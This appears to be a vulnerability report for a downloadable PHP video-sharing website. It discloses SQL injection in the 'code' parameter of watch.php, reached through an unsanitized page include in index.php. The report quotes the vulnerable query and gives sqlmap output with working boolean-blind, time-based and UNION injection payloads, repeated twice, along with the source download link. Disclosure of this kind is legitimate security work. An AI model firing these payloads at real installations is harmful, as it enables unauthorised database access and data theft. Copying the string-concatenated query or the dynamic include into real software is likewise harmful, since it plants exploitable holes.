SQL injection vulnerability exists in code parameter of watch.php file of Video Sharing Website

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

When visit index.php and page parameter is ‘watch’,it will include watch.php,and code parameter can do sql injection.

index.php

```
74          $page = isset($_GET['page']) ? $_GET['page'] :'home';
75          ?>
76      <?php include $page.'.php' ?>
```

watch.php

```
18  $upload = $conn->query("SELECT up.*,concat(u.firstname,' ',u.lastname) as name,u.avatar FROM uploads up inner join users u on u.id =up.user_id
    where up.code = '{$_GET['code']}' ");
19  foreach ($upload->fetch_array() as $k => $v) {
20      $$k = $v;
```

```
sqlmap identified the following injection point(s) with a total of 201 HTTP(s) requests:
---
Parameter: code (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: code=LUwzRtMgZDEG0YcN' AND 3*3*9<(2*4) AND '000KOYx'='000KOYx' RLIKE (SELECT (CASE
 WHEN (4792=4792) THEN 0x4c55777a52744d675a4445473059634e253237253230414e44253230332a332a392533
4328322a3429253230414e4425323025323730303044b4f59782532373d2532373030304b4f5978 ELSE 0x28 END))-
- jvcI&page=watch

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: code=LUwzRtMgZDEG0YcN' AND 3*3*9<(2*4) AND '000KOYx'='000KOYx' AND (SELECT 7633 FR
OM (SELECT(SLEEP(5)))UqOt)-- bNKJ&page=watch

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: code=LUwzRtMgZDEG0YcN' AND 3*3*9<(2*4) AND '000KOYx'='000KOYx' UNION ALL SELECT NU
LL,NULL,NULL,NULL,NULL,CONCAT(0x7176716a71,0x45484d75745750784175 6f6163616e62477752576952744 14e
6854794f626c716178756346654164,0x7170707071),NULL,NULL,NULL,NULL,NULL-- -&page=watch
---
```

“

Parameter: code (GET)

Type: boolean-based blind

Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause

Payload: code=LUwzRtMgZDEG0YcN' AND 3*3*9<(2*4) AND '000KOYx'='000KOYx' RLIKE (SELECT (CASE WHEN (4792=4792) THEN 0x4c55777a52744d675a4445473059634e253237253230414e44253230332a332a392533432832a3429253230414e4425323025323730303044b4f59782532373d2532373030304b4f5978 ELSE 0x28 END))-- jvcI&page=watch

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: code=LUwzRtMgZDEG0YcN' AND 3*3*9<(2*4) AND '000KOYx'='000KOYx' AND (SELECT 7633 FROM (SELECT(SLEEP(5)))UqOt)-- bNKJ&page=watch

Type: UNION query

Title: Generic UNION query (NULL) - 6 columns

Payload: code=LUwzRtMgZDEG0YcN' AND 3*3*9<(2*4) AND '000KOYx'='000KOYx' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x7176716a71,0x45484d757457507841756f6163616e6247775257695274414e6854794f626c716178756346654164,0x7170707071),NULL,NULL,NULL,NULL,NULL-- -&page=watch

---

“

Source Download：

https://www.campcodes.com/projects/php/video-sharing-website-using-php-mysqli-with-source-code/